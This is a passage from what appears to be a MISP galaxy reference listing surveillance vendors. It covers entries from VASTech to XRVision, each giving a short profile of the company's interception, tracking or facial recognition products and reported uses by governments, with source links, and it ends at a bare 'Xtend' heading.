https://ctga.web.ox.ac.uk/files/theworldwidewebofchineseandrussianinformationcontrolspdf
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf
https://www.nytimes.com/2023/07/03/technology/russia-ukraine-surveillance-tech.html
https://eurasianet.org/russia-spyware-firms-looking-to-export-surveillance-technology-to-central-asia-report
https://svidomi.in.ua/en/page/russia-has-the-technology-to-track-encrypted-messages-on-whatsapp-and-signal-nyt
https://www.newswire.com/news/vas-experts-presents-stingray-sg-release-10-now-with-router-21361472

VASTech

In a 2016 pamphlet produced by VASTech SA Pty Ltd., the company outlines its current capabilities for governments, militaries, and law enforcement agencies around the world, claiming it can conduct “passive detection” of communications transmitted from satellites, fix-and-mobile phones, and fiber optic cable. One of its systems is called Zebra. VASTech says Zebra offers "access to high volumes of information generated via telecommunication services for the purposes of analysis and investigation". It has been designed to "intercept all content and metadata of voice, SMS, email and fax communications on the connected network, creating a rich repository of information".

The tag is: *misp-galaxy:surveillance-vendor="VASTech"*

Table 18056. Table References

Links
https://www.theguardian.com/world/2013/nov/18/private-firms-mass-surveillance-technologies
https://theintercept.com/2016/10/31/south-african-spy-company-used-by-gadaffi-touts-its-nsa-like-capabilities/

VCA Technology

VCA Technology is a UK-based company that develops AI-powered video content analytics (VCA). Their video surveillance products include facial and license plate recognition, behavior detection, advanced detection algorithms, and frame-by-frame searches to locate specific individuals or vehicles.

The company has offices in Seoul, Bangkok, and Turkey, with manufacturing services being performed in Vietnam.

The tag is: *misp-galaxy:surveillance-vendor="VCA Technology"*

Table 18057. Table References

Links
https://www.sourcesecurity.com/news/co-375-ga-co-724-ga-co-1156-ga-co-1660-ga-co-3032-ga.4499.html
https://www.intelligentciso.com/2020/01/14/2020-whats-in-store-for-video-surveillance/
https://vcatechnology.com/partners-distribution/
https://www.qnap.com/en-as/news/2025/qnap-partners-with-vca-technology-to-launch-a-cost-effective-and-versatile-ai-smart-surveillance-solution-to-meet-diverse-usage-scenarios
https://www.einpresswire.com/article/696240779/vca-technology-launches-search-and-track-to-improve-accuracy-and-efficiency-in-surveillance

Vehant Technologies

Vehant Technologies is a provider of AI-driven surveillance technologies, offering advanced systems for monitoring to law enforcement agencies. It was founded in 2005 at IIT Delhi. Its capabilities include video analytics, intelligent monitoring, and AI-powered tools for smart cities. Vehant works closely with police forces across India.

The tag is: *misp-galaxy:surveillance-vendor="Vehant Technologies"*

Table 18058. Table References

Links
https://www.vehant.com/news/vehants-vehiscan-anpr-system-helps-patna-police-in-cracking-cases/
https://timesofindia.indiatimes.com/city/chandigarh/mohali-gears-up-to-keep-crime-at-bay-with-ai-powered-traffic-mgmt-system/articleshow/118216311.cms
https://yourstory.com/smbstory/vehant-technologies-evolution-security-tech-ai-scanning-systems
https://www.vibesofindia.com/now-kumbh-mela-adopts-ai-supported-surveillance/
https://www.vehant.com/about-us/

Vehere

Vehere is a surveillance technology company founded in 2006. With headquarters in both India and the United States, Vehere provides advanced interception and monitoring services designed to assist telecom companies in intercepting calls and data.

On its official website, Vehere advertises its capability to collect and analyze mass data "from diverse communication network sources, including telephone calls, mobile data, and Internet-based services such as email, voiceover-IP, instant messaging, and others."

The tag is: *misp-galaxy:surveillance-vendor="Vehere"*

Table 18059. Table References

Links
https://www.ft.com/content/adf1cbae-4217-4d7d-9271-8bec41a56fb4
https://english.aaj.tv/news/30332331/indian-govt-spies-on-undersea-internet-cables-undermining-global-network
https://vehere.com/ai-counterterrorism-software/

Venntel

Venntel is a data analytics company. It provides U.S government agencies, such as the FBI, Drug Enforcement Administration (DEA), Internal Revenue Service (IRS), and Customs and Border Protection (CBP), with tools to access and analyze location data derived from mobile apps. These tools are marketed as a way to aid investigations by uncovering patterns and tracking movements. This data is often acquired from commercial sources, such as data brokers, bypassing the need for a warrant.

The tag is: *misp-galaxy:surveillance-vendor="Venntel"*

Table 18060. Table References

Links
https://vault.fbi.gov/contract-with-venntel/Contract%20with%20Venntel%20Part%2001%20%28Final%29/view
https://www.vice.com/en/article/customs-border-protection-venntel-location-data-dhs/
https://www.vice.com/en/article/irs-investigation-location-data-no-warrant-venntel/
https://therecord.media/ftc-location-data-brokers-gravy-venntel-mobilewalla
https://theintercept.com/2020/06/24/fbi-surveillance-social-media-cellphone-dataminr-venntel/
https://www.aclu.org/news/privacy-technology/new-records-detail-dhs-purchase-and-use-of-vast-quantities-of-cell-phone-location-data

Veraset

Veraset is a provider of location and mobility data, offering datasets derived from GPS signals. According to the Washington Post, Veraset shared billions of phone location records with the D.C. government as part of a COVID-19 tracking effort. This data, which was provided without people's consent, was used to monitor movement patterns during the pandemic. However, officials will not disclose the specific reasons for acquiring the data or how it was used.

Veraset was originally founded as a subsidiary of SafeGraph, but the two companies now operate independently.

The tag is: *misp-galaxy:surveillance-vendor="Veraset"*

Table 18061. Table References

Links
https://www.washingtonpost.com/technology/2021/11/10/data-broker-shared-billions-phone-location-records-with-dc-government-part-covid-tracking-effort/
https://www.scientificamerican.com/article/science-shouldnt-give-data-brokers-cover-for-stealing-your-privacy/
https://www.eff.org/deeplinks/2021/11/data-broker-veraset-gave-bulk-device-level-gps-data-dc-government
https://www.eff.org/document/dcveraset-location-data-sharing-records

Veriato

Veriato is a developer of AI-powered User Activity Monitoring (UAM) products. A key capability of their surveillance technology is its ability to capture communications activity across multiple platforms, extending beyond traditional email clients to monitor popular external messaging and chat applications. It also tracks comprehensive file activities including creation, editing, deletion, and renaming across local storage, removable media, and cloud storage platforms. The collected data is processed through AI-powered predictive analytics that analyze user behavior patterns.

A key feature of Veriato's technology is its daily "risk score" system, which assigns each worker a score indicating the likelihood they pose a security threat to their employer. The risk score incorporates multiple components, including sophisticated AI analysis that examines the text content of workers' emails and chats to determine employee sentiment and detect changes that may indicate disgruntlement.

The company claims to serve thousands of customers across almost 70 countries around the globe.

The tag is: *misp-galaxy:surveillance-vendor="Veriato"*

Table 18062. Table References

Links
https://veriato.com/products/uam/
https://www.cnbc.com/2023/04/24/employee-surveillance-is-on-the-rise-that-could-backfire-on-employers.html
https://www.theguardian.com/technology/2022/apr/27/remote-work-software-home-surveillance-computer-monitoring-pandemic
https://veriato.com/pressroom/microdium-veriato-partnership/

Verint

U.S.-Israeli company Verint provides sophisticated eavesdropping equipment, including "monitoring centers" that allow for the interception, monitoring, and analysis of both targeted and mass communications across various networks. These systems are integrated into a country's communication infrastructure and are capable of intercepting phone calls and emails from millions

of citizens, storing the data for analysis. Verint's technology is employed in over 75 countries and can be used for nationwide mass interception, voice identification, and data mining to build detailed profiles of individuals.

Verint sold their technology to repressive regimes worldwide, including in Azerbaijan, Indonesia, South Sudan, Uzbekistan and Kazakhstan. The technology sold to Azerbaijan was reportedly used to identify the sexual orientations of individuals through social media, leading to the targeting and arrest of LGBTQ+ individuals. In Bahrain, Verint products have been used to gather data from social networks, contributing to the repression of dissidents for their online activities. Additionally, in Indonesia, Verint's technology has been employed to compile databases of LGBTQ+ rights activists and monitor religious minorities.

Verint has also been linked to surveillance operations in South Sudan, where it provided communications interception equipment and support services to the government. This arrangement required the telecommunications company Vivacell to pay Verint over $762,000 to facilitate the interception of citizens' communications, as reported by Amnesty International.

The tag is: *misp-galaxy:surveillance-vendor="Verint"*

Table 18063. Table References

Links
https://www.haaretz.com/israel-news/security-aviation/2023-02-28/ty-article/fake-friends-leak-reveals-israeli-firms-turning-social-media-into-spy-tech/00000186-7f75-d079-ade7-ff7507970000
https://www.newsweek.com/israeli-companies-sell-surveillance-tech-and-knowledge-used-persecuting-1178084
https://indianexpress.com/article/express-exclusive/us-surveillance-giants-network-of-operations-has-subsidiaries-in-india-9080622/
https://cyberscoop.com/south-sudan-government-surveillance-verint-amnesty-international/
https://www.forbes.com/sites/thomasbrewster/2020/12/11/exclusive-israeli-surveillance-companies-are-siphoning-masses-of-location-data-from-smartphone-apps/
https://slate.com/technology/2013/01/verint-the-american-company-helping-governments-spy-on-billions-of-communications.html
https://defensetalks.com/defence-intelligence-agency-procures-equipment-from-israeli-nso-group-rival-report/
https://www.haaretz.com/israel-news/2018-10-20/ty-article-magazine/.premium/israels-cyber-spy-industry-aids-dictators-hunt-dissidents-and-gays/0000017f-e9a9-dc91-a17f-fdadde240000
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://www.privacyinternational.org/sites/default/files/2017-12/ShadowState_Espanol.pdf

Verita Innovation

Verita Innovation is a developer of surveillance technology, including advanced IMSI Catchers. The company claims these systems utilize software-defined radio (SDR) technology to seamlessly operate across multiple cellular networks, such as GSM, UMTS, LTE, and Wi-Fi, covering a wide

range of frequency bands. It's also designed with a modular structure, allowing it to adapt to various applications, from portable shoulder-bag setups to vehicle-mounted systems and geographically distributed fixed solutions.

Their products also include a Location System, a protocol-based solution that enables intelligence and law enforcement agencies to covertly locate, track, and manipulate subscribers in real time. This system features an interface with map support for location monitoring worldwide.

The tag is: *misp-galaxy:surveillance-vendor="Verita Innovation"*

Table 18064. Table References

Links
https://veritainnovation.com/imsi-catcher
https://veritainnovation.com/location-system
https://sgpgrid.com/company-details/verita-innovation-pte-ltd

Veritone

Veritone is an enterprise AI company that provides surveillance and investigative tools to law enforcement and government agencies. Its primary product, Veritone Track, is a video forensics platform that enables users to identify and track individuals and vehicles across large amounts of video footage, including body cameras, CCTV, drones, and social media feeds.

A significant upgrade to Veritone Track was announced in October 2024, expanding its capabilities to include AI-assisted vehicle tracking at scale. This update allows investigators to trace vehicles of interest across multiple video sources. The platform's AI engine supposedly analyzes video footage to identify vehicles by their visual features. Its customers include the U.S Department of Homeland Security.

Microsoft Azure provides Veritone with cloud computing resources to support its AI-powered surveillance platforms.

The tag is: *misp-galaxy:surveillance-vendor="Veritone"*

Table 18065. Table References

Links
https://www.biometricupdate.com/202410/veritone-track-updated-to-include-ai-assisted-vehicle-tracking-at-scale
https://www.veritone.com/blog/ai-for-police-veritone-revolutionizes-law-enforcement/
https://theintercept.com/2020/07/14/microsoft-police-state-mass-surveillance-facial-recognition/
https://www.axios.com/2024/04/30/upguard-ai-training-data-leak-research
https://www.biometricupdate.com/202211/veritone-buys-vision-semantics-gets-deloitte-nod-for-growth

Verkada

Verkada is a provider of cloud-based enterprise video surveillance systems, primarily used by police agencies. It offers features like People Analytics, enabling users to filter individuals detected on camera by clothing, appearance, and facial matches. Their cameras include fisheye models with night vision for low-light areas, bullet cameras designed as visible deterrents, and dome cameras for high-traffic locations.

In 2021, Verkada was breached, giving hackers access to over 150,000 surveillance cameras inside hospitals, organizations, police departments, prisons and schools.

The tag is: *misp-galaxy:surveillance-vendor="Verkada"*

Table 18066. Table References

Links
https://www.cbsnews.com/news/verkada-hack-tesla-nissan-equinox-cloudflare/
https://www.verkada.com/blog/ai-powered-search/
https://help.verkada.com/en/articles/3207895-people-analytics
https://www.verkada.com/solutions/law-enforcement/
https://www.bangordailynews.com/2024/12/14/aroostook/aroostook-government/houlton-releases-information-surveillance-cameras-joam40zk0w/

Vetted Security Solutions

Vetted Security Solutions is a distributor of surveillance technologies, serving law enforcement, municipalities, and security teams since 2012. The company provides products such as mobile solar surveillance systems, PTZ cameras, and license plate recognition (ALPR) solutions. In 2023, Vetted Security Solutions was awarded two contracts by the U.S. Immigration and Customs Enforcement (ICE) under the Homeland Security Investigations Directorate. These contracts, valued at $250,000 and $89,500 respectively, included license plate recognition technologies.

The tag is: *misp-galaxy:surveillance-vendor="Vetted Security Solutions"*

Table 18067. Table References

Links
https://www.federalcompass.com/award-contract-detail/70CMSD23P00000129
https://www.federalcompass.com/award-contract-detail/70CMSD23P00000125
https://vettedsecuritysolutions.com/

Videotec

Videotec was an Italian company that specializes in the design and manufacture of professional video surveillance equipment. During a June 2018 Who Profits field tour in the old city of Jerusalem, Videotec cameras were documented as part of the surveillance system in the occupied

area. The company's official distributer in Israel is Mal-Tech Technological Solutions, a private Israeli company owned by Moshe Amzel. Mal-Tech provides solutions to the Israeli government such as cameras and network devices. It provides equipment to security bodies such as the Israeli army, the Israeli Police and the Israeli Ministry of Defense. In 2022, it was acquired by Motorola Solutions.

The tag is: *misp-galaxy:surveillance-vendor="Videotec"*

Table 18068. Table References

Links
https://www.whoprofits.org/companies/company/6171?6171-2
https://www.motorolasolutions.com/newsroom/press-releases/motorola-solutions-acquires-videotec.html

Vigilant Solutions

Vigilant Solutions is a Motorola subsidiary and longtime partner in U.S. Immigration and Customs Enforcement (ICE)'s vehicle tracking operations. Under a $6.1 million contract, ICE has gained access to Vigilant's extensive database of automated license plate reader (ALPR) data, which includes over 5 billion location records collected from private entities such as parking lots and insurance companies, as well as an additional 1.5 billion records from more than 80 local law enforcement agencies across at least a dozen states. Internal communications revealed by the ACLU indicate that ICE agents have obtained license plate data through informal requests to local police, circumventing official protocols. ACLU's reports also revealed that at least 9,000 ICE agents had access to the database of Vigilant Solutions.

The tag is: *misp-galaxy:surveillance-vendor="Vigilant Solutions"*

Table 18069. Table References

Links
https://www.aclu.org/press-releases/records-reveal-ice-using-mass-surveillance-database-track-people-aid-local-law
https://www.theguardian.com/us-news/2025/mar/11/ice-car-trackers-sanctuary-cities
https://www.wired.com/story/ice-license-plate-surveillance-vigilant-solutions/
https://www.axios.com/2019/03/14/aclu-ice-using-license-plate-database-target-immigrants
https://www.eff.org/deeplinks/2018/07/california-shopping-centers-are-spying-ice-contractor
https://www.officer.com/command-hq/technology/traffic/company/10036357/vigilant-solutions-a-part-of-motorola-solutions-inc

Vigilant Technology

Vigilant Technology is an Israeli company that provides high-end CCTV and IP-based digital video and audio surveillance. Their technology is used by various governments, police departments and also deployed in prisons.

The tag is: *misp-galaxy:surveillance-vendor="Vigilant Technology"*

Table 18070. Table References

Links
https://www.israel21c.org/israeli-surveillance-cameras-help-the-us-stay-vigilant/

Viisights

Viisights develops behavioral video analytics powered by artificial intelligence. One of their products, Wise, is designed to analyze real-time video feeds to detect and interpret human behaviors. Viisights has been reportedly used in monitoring refugees in Greece as part of the EU-funded Centaur surveillance system. This system, which includes tools from other Israeli companies, has been criticized for creating "prison-like" conditions for refugees. The refugee camps, such as the one on the island of Samos, have been described as "testing grounds" for surveillance technologies later deployed elsewhere in Europe.

Viisights' behavioral video analytics are also used by Israel's Ministry of Public Security and in smart city initiatives, such as in the city of Eilat, to detect and analyze events in real-time.

The company's Wise platform has been integrated with Cognyte's Symphia solutions, to improve the capabilities of both systems for behavioral video recognition. Cognyte is a prominent Israeli vendor of surveillance products.

The tag is: *misp-galaxy:surveillance-vendor="Viisights"*

Table 18071. Table References

Links
https://www.computerweekly.com/news/366618223/Greek-authorities-subject-refugees-to-invasive-surveillance
https://breachmedia.ca/stephen-harper-awz-ventures-surveillance-tech-israel/
https://breachmedia.ca/stephen-harper-firm-tech-greek-refugee-camps/
https://internationalsecurityjournal.com/israel-smart-city-initiative-viisights/
https://en.globes.co.il/en/article-israeli-video-analytics-co-viisights-raises-10m-1001307719

Vintra

Vintra is a company that develops AI-powered video analytics technologies that turn raw video footage into intelligence, primarily for use by law enforcement agencies. Their platform, FulcrumAI, is designed to analyze video from a variety of sources, including fixed surveillance cameras, body-worn cameras, dashcams, and drones. The technology supports real-time monitoring and post-event investigations, offering features like facial recognition, object detection, and behavioral analysis. Its clients include the Sacramento City Police Department and the NYC Department of Investigations.

The tag is: *misp-galaxy:surveillance-vendor="Vintra"*

Table 18072. Table References

Links
https://www.latimes.com/politics/story/2023-03-03/surveillance-ai-coappearance-facial-recognition
https://www.aclu.org/news/privacy-technology/a-scary-demonstration-of-what-unchecked-face-recognition-could-look-like
https://venturebeat.com/ai/vintra-raises-4-8-million-to-analyze-camera-footage-with-ai/
https://petapixel.com/2023/03/07/new-ai-surveillance-camera-tech-knows-who-your-friends-are/
https://thepioneeronline.com/47465/uncategorized/mass-surveillance-in-the-digital-age-the-rise-of-co-appearance-tracking/

VisionLabs

VisionLabs is a Russian-founded computer vision developer headquartered in Amsterdam, Netherlands. The company is best known for its facial recognition technology, which is used in over 60 countries for digital identity purposes. In 2021, it was acquired by MTS, Russia's largest telecoms operator.

The tag is: *misp-galaxy:surveillance-vendor="VisionLabs"*

Table 18073. Table References

Links
https://www.biometricupdate.com/202406/amazon-facial-recognition-used-in-russia-despite-sanctions-says-former-employee
https://cepa.org/article/russia-exports-digital-surveillance-despite-sanctions/
https://www.top10vpn.com/research/big-tech-supporting-blacklisted-surveillance-companies/
https://www.biometricupdate.com/202308/visionlabs-launches-upgraded-biometric-access-control-terminal-lands-deal-in-uae
https://www.reuters.com/investigates/special-report/ukraine-crisis-russia-detentions/

Vixtel

Headquartered in Hong Kong with additional offices in China and Taiwan, Vixtel specializes in developing network monitoring software tailored for mobile and fixed-line network operators, large enterprises, and national security departments, with a particular emphasis on mobile network operators. It's now known as International Business Digital Technology Limited.

The tag is: *misp-galaxy:surveillance-vendor="Vixtel"*

Table 18074. Table References

Links
https://www.businesswirechina.com/en/news/1600.html
https://journals.sagepub.com/doi/pdf/10.1177/0306422019876445

Void Balaur

Void Balaur is a notorious hacker-for-hire group, active since at least 2015, specializing in cyberespionage and data theft. Built for targeting individuals, businesses, and organizations globally, Void Balaur has been linked to phishing campaigns, credential theft, and selling stolen data, including private emails and sensitive information. Their targets often include political figures and journalists. In 2022, Google's Threat Analysis Group (TAG) took action against Void Balaur by blocking dozens of malicious domains associated with the group. These domains were used in credential theft campaigns targeting high-risk individuals and organizations.

The tag is: *misp-galaxy:surveillance-vendor="Void Balaur"*

Table 18075. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-far-reaching-attacks-of-the-void-balaur-cybermercenary-group
https://www.trendmicro.com/en_us/research/21/k/void-balaur-and-the-rise-of-the-cybermercenary-industry.htm
https://thehackernews.com/2022/06/google-blocks-dozens-of-malicious.html
https://www.csoonline.com/article/571645/void-balaur-explained-a-stealthy-cyber-mercenary-group-that-spies-on-thousands.html

Voyager Labs

Voyager Labs is a developer of AI-driven investigation tools designed for law enforcement, national security, and corporate security. Its platforms, such as VoyagerAnalytics and VoyagerInsights, are capable of analyzing large amounts of unstructured data from open, deep, and dark web sources, as well as internal databases. These tools help uncover social connections, analyze human behavior, and identify targets. Between 2018 and 2019, dozens of journalists were targets of Colombian military intelligence using VoyagerAnalytics.

The company was exposed for creating fake accounts to scrape data from platforms like Facebook and Instagram. This resulted in Meta filing a lawsuit against Voyager Labs for improper data collection from millions of its users.

The New York Police Department (NYPD) and the Los Angeles Police Department (LAPD) have reportedly used Voyager Labs' tools to scrape data from social media platforms as part of their surveillance efforts.

While it has relocated its headquarters to the United States, its origins and R&D center remain in Israel. It has additional offices and a registered entity in the UK.

The tag is: *misp-galaxy:surveillance-vendor="Voyager Labs"*

Table 18076. Table References

Links

https://www.haaretz.com/israel-news/security-aviation/2023-02-28/ty-article/fake-friends-leak-reveals-israeli-firms-turning-social-media-into-spy-tech/00000186-7f75-d079-ade7-ff7507970000
https://www.brennancenter.org/our-work/analysis-opinion/lapd-documents-show-what-one-social-media-surveillance-firm-promises
https://www.theguardian.com/us-news/2021/nov/17/los-angeles-police-surveillance-social-media-voyager
https://www.businessinsider.com/nypd-new-york-police-voyager-labs-social-media-surveillance-crime-2023-9
https://www.bbc.com/news/business-59341750
https://www.theguardian.com/technology/2023/jan/12/meta-voyager-labs-surveillance-fake-accounts
https://find-and-update.company-information.service.gov.uk/company/07154170
https://www.courthousenews.com/wp-content/uploads/2024/05/meta-platforms-v-voyager-labs-order-mtd.pdf

Vumacam

Vumacam operates one of South Africa's largest urban CCTV networks, linking thousands of high-definition cameras to a cloud platform called Proof. The system uses IntelexVision's iSentry AI engine to watch every feed in real time and automatically flag incidents. Vumacam also uses License Plate Recognition (LPR) technology to identify and track vehicles.

Provincial and municipal authorities, including the Gauteng Provincial Government, tap into Vumacam's live feeds and analytics for policing purposes.

Vumacam is owned by Vumatel, one of South Africa's biggest fibre internet providers.

The tag is: *misp-galaxy:surveillance-vendor="Vumacam"*

Table 18077. Table References

Links
https://www.technologyreview.com/2022/04/19/1049996/south-africa-ai-surveillance-digital-apartheid/
https://mybroadband.co.za/news/security/588409-gauteng-adds-nearly-200-cctv-security-cameras.html
https://www.vice.com/en/article/smart-cctv-networks-are-driving-an-ai-powered-apartheid-in-south-africa/
https://www.news24.com/southafrica/news/gauteng-government-praises-vumacam-cctv-for-aiding-in-104-arrests-20241107
https://thedebrief.org/south-africas-big-brother-spy-cameras-face-public-outcry-over-privacy-concerns-and-power-use/

Vupen Security

Vupen Security was a French information security company founded in 2004 and based in Montpellier with a U.S. branch based in Annapolis, Maryland. Its specialty was in discovering zero-day vulnerabilities in software from major vendors in order to sell them to law enforcement and intelligence agencies which use them to achieve cyber operations. One of the company's co-founders, Chaouki Bekrar, is also the founder of Zerodium, a cybersecurity company known for its controversial business model of purchasing zero-day vulnerabilities and exploits from security researchers and then selling them to government agencies and private entities, including law enforcement and intelligence agencies.

The tag is: *misp-galaxy:surveillance-vendor="Vupen Security"*

Table 18078. Table References

Links
https://www.zdnet.com/article/nsa-purchased-zero-day-exploits-from-french-security-firm-vupen/
https://www.forbes.com/sites/andygreenberg/2012/03/21/meet-the-hackers-who-sell-spies-the-tools-to-crack-your-pc-and-get-paid-six-figure-fees/?sh=319c27b61f74
https://www.vice.com/en/article/xw37n4/the-darth-vader-of-cyberwar-sold-services-to-canada

Watrix Technology

Watrix Technology is a Chinese AI company that develops advanced computer vision and large scale video data analysis products. Founded in 2016, Watrix has developed a proprietary gait recognition system capable of identifying individuals based on their walking patterns from distances up to 50 meters, including when their face is obscured or turned away. Chinese police forces in cities like Beijing and Shanghai have utilized Watrix's gait recognition system to monitor public spaces and identify individuals without relying on facial recognition.

In 2022, it was reported that Watrix and another Chinese surveillance firm, GEOAI, used Nvidia chips to train AI patrol drones and systems designed to identify people by their walk.

The tag is: *misp-galaxy:surveillance-vendor="Watrix Technology"*

Table 18079. Table References

Links
https://businessmirror.com.ph/2019/02/23/companies-behind-chinas-high-tech-surveillance-state/
https://www.scmp.com/tech/start-ups/article/2187600/chinese-police-surveillance-gets-boost-ai-start-watrix-technology-can
https://www.ap.org/news-highlights/spotlights/2025/silicon-valley-enabled-brutal-mass-detention-and-surveillance-in-china-internal-documents-show/
https://www.abc.net.au/news/2018-11-06/chinese-gait-recognition-tech-ids-people-by-how-they-walk/10469974
https://www.wired.com/story/surveillance-technology-biometrics/

Wayout

Wayout Group is a discreet Israeli company founded in 2018 by Gil Dolev, whose sister Shiri Dolev was NSO's head of operations. The company operated as a subsidiary of the NSO Group after an acquisition in the range of $20 million, and was later sold to Goatilev, a company controlled by NorthPole, the financial vehicle of Novalpina Capital, which also oversees Q Cyber Technologies (of which NSO Group is a registered subsidiary.)

The company develops tools that compromise routers and intercepts Internet of Things (IoT) data, providing law enforcement and intelligence agencies with the ability to covertly gather information from connected devices. Its team is composed largely of former officers from Israel's Unit 8100 and Unit 8200.

The tag is: *misp-galaxy:surveillance-vendor="Wayout"*

Table 18080. Table References

Links
https://web.archive.org/web/20220312225835/https:/www.calcalistech.com/ctech/articles/0,7340,L-3927965,00.html
https://www.intelligenceonline.com/surveillance—interception/2021/03/04/discreet-startup-wayout-gathers-intelligence-from-iot-devices,109647804-art
https://www.businessinsider.com/inside-the-israel-offensive-cybersecurity-world-funded-by-nso-group-2019-8

Weibo

Weibo, also known as Sina Weibo, analyzes user behavior and interactions to identify patterns that might indicate dissent or non-compliance with government policies.

The tag is: *misp-galaxy:surveillance-vendor="Weibo"*

Table 18081. Table References

Links
https://www.fairplanet.org/editors-pick/chinese-social-media-users-fear-ip-address-surveillance/
https://www.theregister.com/2022/04/29/weibo_location_services_default/

Whooster

Whooster Inc. is a Texas-based company that provides monitoring solutions to law enforcement, government agencies, and private sector clients. Its services are designed to deliver real-time intelligence by integrating public, private, and open source data. In 2023, Whooster partnered with Cobwebs Technologies, an Israeli surveillance company, by integrating Cobwebs' AI-driven intelligence platform. The company has secured multiple contracts with U.S. law enforcement and federal agencies to provide widespread monitoring and surveillance services, including with the U.S. Immigration and Customs Enforcement (ICE) and the Department of Homeland Security (DHS).

The tag is: *misp-galaxy:surveillance-vendor="Whooster"*

Table 18082. Table References

Links
https://theintercept.com/2024/04/02/surveillance-tech-new-york-state-police/
https://www.politico.com/newsletters/digital-future-daily/2025/04/08/the-worries-about-ai-in-trumps-social-media-surveillance-00279255
https://www.usaspending.gov/award/CONT_AWD_70CMSD23C00000003_7012-NONE-_-NONE-
https://fox2now.com/business/press-releases/globenewswire/8840921/cobwebs-technologies-partners-with-whooster-combining-osint-with-investigative-data-solutions-to-provide-more-advanced-actionable-intelligence/

Windward

Windward is an Israeli company that provides maritime surveillance and predictive intelligence systems. Its platform uses AI and analytics to monitor and analyze maritime activities in real time from various sources, such as satellite imagery, Automatic Identification System (AIS) data, and other maritime information. It is a contractor for Frontex, the European Border and Coast Guard Agency. In 2024, the company was acquired by FTV VIII, a private equity growth and expansion fund managed by FTV Capital.

The tag is: *misp-galaxy:surveillance-vendor="Windward"*

Table 18083. Table References

Links
https://www.intelligenceonline.com/corporate-intelligence/2018/05/30/windward-monitors-high-seas-for-frontex,108312015-bre
https://bankillerdrones.org/border-drones-eu-border-surveillance/
https://ted.europa.eu/en/notice/-/detail/109760-2020
https://digit.site36.net/2021/07/22/border-drones-part-1-unmanned-surveillance-of-the-eus-external-borders-by-frontex/
https://www.intelligenceonline.com/surveillance—interception/2021/02/04/accusations-withstanding-frontex-pushes-on-with-technology-drive,109640421-art
https://www.coverager.com/windward-agrees-to-216-million-acquisition-by-ftv-viii/

XCI

XCI is a provider of monitoring and communications intelligence, designed to support law enforcement agencies in interception capabilities. Through real-time data analysis, signal interception, and pattern recognition, XCI enables authorities to monitor, analyze, and interpret communications across various channels, including digital, voice, and networked systems.

The tag is: *misp-galaxy:surveillance-vendor="XCI"*

Table 18084. Table References

Links
https://www.atlanticcouncil.org/wp-content/uploads/2021/11/Surveillance-Technology-at-the-Fair.pdf
https://xci.dk/about-us
https://www.europeanpensions.net/ep/Danish-pension-fund-ATP-invests-in-XCI.php
https://www.mainsights.io/ma-news/danish-pension-fund-atp-acquires-a-30-stake-in-xci-a-danish-ai-based-defense-technology-firm

Xinjiang Lianhai Chuangzhi

Xinjiang Lianhai Chuangzhi Information Technology Co., Ltd. is a wholly-owned subsidiary of the China Electronics Technology Group Corporation (CETC), a large state-owned military contractor. The company supplies the Integrated Joint Operations Platform (IJOP) system, which is a major component in the region's surveillance infrastructure. The IJOP is described in multiple reports as a "system of systems" that aggregates data from many sources: facial recognition cameras, CCTV, checkpoints, and a wide range of apps.

The company has built AI-powered checkpoint systems that can detect and track individuals, particularly Uyghurs, as they move around cities. These systems integrate facial recognition, cameras, and other biometric monitoring.

The U.S. Department of Commerce added the company to its Entity List on July 9, 2021, along with 13 other Chinese companies which were sanctioned for their involvement in human rights abuses and surveillance activities in Xinjiang.

The tag is: *misp-galaxy:surveillance-vendor="Xinjiang Lianhai Chuangzhi"*

Table 18085. Table References

Links
https://www.cnbc.com/2021/07/10/us-adds-14-chinese-companies-to-economic-black-list-over-xinjiang.html
https://www.hrw.org/report/2019/05/01/chinas-algorithms-repression/reverse-engineering-xinjiang-police-mass
https://www.theverge.com/2021/7/9/22570225/us-sanctions-chinese-facial-recognition-silicon-valley-funding
https://www.federalregister.gov/documents/2021/07/12/2021-14656/addition-of-certain-entities-to-the-entity-list-revision-of-existing-entry-on-the-entity-list
https://www.ispionline.it/en/publication/how-china-uses-artificial-intelligence-control-society-23244
https://ipvm.com/reports/hik-command-xinjiang

Xloong

Xloong is a Beijing-based augmented reality startup that develops surveillance smart glasses and helmets primarily for Chinese police and military forces. The surveillance glasses are equipped with cameras and embedded computer chips that enable sophisticated facial recognition capabilities. Officers wearing these devices can cross-reference faces in real-time against China's national database. The augmented reality technology superimposes virtual images and information directly onto the wearer's visual field, providing immediate alerts when matches are detected.

The tag is: *misp-galaxy:surveillance-vendor="Xloong"*

Table 18086. Table References

Links
https://idtechwire.com/augmented-reality-smartglasses-empower-police-face-recognition-508234/
https://www.biometricupdate.com/201808/xloong-ar-glasses-enable-chinese-police-using-to-cross-reference-faces-against-the-national-database
https://kustomsignals.com/blog/smart-glasses-the-latest-police-weapon-against-crime
https://asia.nikkei.com/business/companies/chinese-startup-makes-facial-recognition-glasses-for-police
https://businessmirror.com.ph/2019/02/23/companies-behind-chinas-high-tech-surveillance-state/

XRVision

XRVision, a company founded by Yaacov Apelbaum and Guy Ron, is a provider of AI-driven facial recognition and video analytics tools. The company has secured contracts with government agencies including the US Customs and Border Protection in 2019 to deploy its facial recognition technology at the US border. Services for that contract include: "software for wearable devices, mobile phones, tablets, and laptops, namely, software for matching human face images; Computer application software for wearable devices, mobile phones, tablets, and laptops for video analytics, namely, software for matching human faces and performing face recognition."

XRVision is also backed by Boundary Holding, a Luxembourg-based private equity firm led by Rajat Khare, who has a history of cyber-espionage through his firm Appin Security.

Apelbaum, XRVision's co-founder, has deep ties to the surveillance and intelligence industries. He previously served as Chief Technology Officer at AGT International, a Swiss-based firm that developed the Falcon Eye surveillance system for the UAE authorities.

The tag is: *misp-galaxy:surveillance-vendor="XRVision"*

Table 18087. Table References

Links
https://www.intelligenceonline.com/corporate-intelligence/2025/01/10/the-spyware-professionals-who-stand-to-gain-from-trump-s-return%2C110359460-art

https://www.azcentral.com/story/news/local/arizona-investigations/2023/11/16/xrvision-owner-yaacov-apelbaum-exposes-voting-machine-breach-plots/71583389007/
https://www.newshour.press/technology/new-age-fund-boundary-holding-rajat-khare-nihar-vartak/
https://iprs.cbp.gov/s/ipr-erecordation/a14t0000003zT9MAAU/tmk-1900661

Xtend

